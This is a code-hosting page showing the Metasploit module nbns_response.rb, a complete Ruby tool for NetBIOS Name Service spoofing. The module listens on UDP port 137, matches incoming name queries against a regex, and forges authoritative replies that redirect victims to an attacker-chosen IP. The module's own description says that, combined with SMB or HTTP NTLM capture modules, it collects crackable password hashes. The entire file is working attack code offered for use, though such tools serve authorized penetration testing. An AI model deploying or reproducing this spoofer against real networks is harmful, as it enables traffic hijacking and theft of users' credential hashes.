PageRenderTime 25ms CodeModel.GetById 21ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/spoof/nbns/nbns_response.rb

https://github.com/rapid7/metasploit-framework
Ruby | 179 lines | 142 code | 27 blank | 10 comment | 11 complexity | 3ca13570ac0c9dd624931695b01de428 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Auxiliary
  6. include Msf::Exploit::Capture
  7. attr_accessor :sock, :thread
  8. def initialize
  9. super(
  10. 'Name' => 'NetBIOS Name Service Spoofer',
  11. 'Description' => %q{
  12. This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
  13. sent to the local subnet's broadcast address and spoof a response, redirecting the querying
  14. machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
  15. auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on
  16. common networks.
  17. This module must be run as root and will bind to udp/137 on all interfaces.
  18. },
  19. 'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
  20. 'License' => MSF_LICENSE,
  21. 'References' =>
  22. [
  23. [ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
  24. ],
  25. 'Actions' =>
  26. [
  27. [ 'Service', 'Description' => 'Run NBNS spoofing service' ]
  28. ],
  29. 'PassiveActions' =>
  30. [
  31. 'Service'
  32. ],
  33. 'DefaultAction' => 'Service'
  34. )
  35. register_options([
  36. OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
  37. OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
  38. ])
  39. deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
  40. self.thread = nil
  41. self.sock = nil
  42. end
  43. def dispatch_request(packet, rhost, src_port)
  44. rhost = ::IPAddr.new(rhost)
  45. # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
  46. # addr like "::ffff:192.168.0.1" when the interface we're listening
  47. # on has an IPv6 address. Convert it to just the v4 addr
  48. if rhost.ipv4_mapped?
  49. rhost = rhost.native
  50. end
  51. # Convert to string
  52. rhost = rhost.to_s
  53. spoof = ::IPAddr.new(datastore['SPOOFIP'])
  54. return if packet.length == 0
  55. nbnsq_transid = packet[0..1]
  56. nbnsq_flags = packet[2..3]
  57. nbnsq_questions = packet[4..5]
  58. nbnsq_answerrr = packet[6..7]
  59. nbnsq_authorityrr = packet[8..9]
  60. nbnsq_additionalrr = packet[10..11]
  61. nbnsq_name = packet[12..45]
  62. decoded = ""
  63. nbnsq_name.slice(1..-2).each_byte do |c|
  64. decoded << "#{(c - 65).to_s(16)}"
  65. end
  66. nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
  67. nbnsq_type = packet[46..47]
  68. nbnsq_class = packet[48..49]
  69. return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
  70. print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
  71. vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
  72. vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
  73. vprint_status("questions: #{nbnsq_questions.unpack('n')}")
  74. vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
  75. vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
  76. vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
  77. vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
  78. vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
  79. vprint_status("decoded: #{decoded}")
  80. vprint_status("decoded name: #{nbnsq_decodedname}")
  81. vprint_status("type: #{nbnsq_type.unpack('n')}")
  82. vprint_status("class: #{nbnsq_class.unpack('n')}")
  83. # time to build a response packet - Oh YEAH!
  84. response = nbnsq_transid +
  85. "\x85\x00" + # Flags = response + authoratative + recursion desired +
  86. "\x00\x00" + # Questions = 0
  87. "\x00\x01" + # Answer RRs = 1
  88. "\x00\x00" + # Authority RRs = 0
  89. "\x00\x00" + # Additional RRs = 0
  90. nbnsq_name + # original query name
  91. nbnsq_type + # Type = NB ...whatever that means
  92. nbnsq_class+ # Class = IN
  93. "\x00\x04\x93\xe0" + # TTL = a long ass time
  94. "\x00\x06" + # Datalength = 6
  95. "\x00\x00" + # Flags B-node, unique = whatever that means
  96. spoof.hton
  97. pkt = PacketFu::UDPPacket.new
  98. pkt.ip_saddr = Rex::Socket.source_address(rhost)
  99. pkt.ip_daddr = rhost
  100. pkt.ip_ttl = 255
  101. pkt.udp_sport = 137
  102. pkt.udp_dport = src_port
  103. pkt.payload = response
  104. pkt.recalc
  105. capture_sendto(pkt, rhost)
  106. end
  107. def monitor_socket
  108. while true
  109. rds = [self.sock]
  110. wds = []
  111. eds = [self.sock]
  112. r,_,_ = ::IO.select(rds,wds,eds,0.25)
  113. if (r != nil and r[0] == self.sock)
  114. packet, host, port = self.sock.recvfrom(65535)
  115. dispatch_request(packet, host, port)
  116. end
  117. end
  118. end
  119. def run
  120. check_pcaprub_loaded()
  121. ::Socket.do_not_reverse_lookup = true # Mac OS X workaround
  122. # Avoid receiving extraneous traffic on our send socket
  123. open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
  124. self.sock = Rex::Socket.create_udp(
  125. 'LocalHost' => "0.0.0.0",
  126. 'LocalPort' => 137,
  127. 'Context' => { 'Msf' => framework, 'MsfExploit' => self }
  128. )
  129. add_socket(self.sock)
  130. self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
  131. self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
  132. begin
  133. monitor_socket
  134. rescue ::Interrupt
  135. raise $!
  136. rescue ::Exception
  137. print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
  138. end
  139. }
  140. print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
  141. self.thread.join
  142. print_status("NBNS Monitor thread exited...")
  143. end
  144. def cleanup
  145. if self.thread and self.thread.alive?
  146. self.thread.kill
  147. self.thread = nil
  148. end
  149. self.sock.close
  150. close_pcap
  151. end
  152. end